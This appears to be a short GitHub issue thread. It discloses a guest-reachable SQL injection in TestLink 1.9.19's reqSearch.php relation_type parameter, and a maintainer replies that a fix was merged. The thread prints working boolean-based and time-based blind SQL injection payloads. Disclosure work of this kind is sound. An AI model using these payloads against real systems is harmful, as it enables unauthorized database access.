testlink 1.9.19 guest user sql inject

[ver007]

POST: /testlink/lib/requirements/reqSearch.php
: relation_type=11*

Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: *************************************relation_type=(SELECT (CASE WHEN (6355=6355) THEN 11 ELSE (SELECT 1818 UNION SELECT 4655) END))*************************************

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: *******************relation_type=11 AND (SELECT 1253 FROM (SELECT(SLEEP(5)))jgBC)*************************************

Since CVE does not accept it, it can only be sent here

[squash-labs]

Manage this branch in Squash

Test this branch here: https://tl191901-0fpcb.squash.io

[fmancardi]

please retry with this
fcf52a9

[fmancardi]

merged manually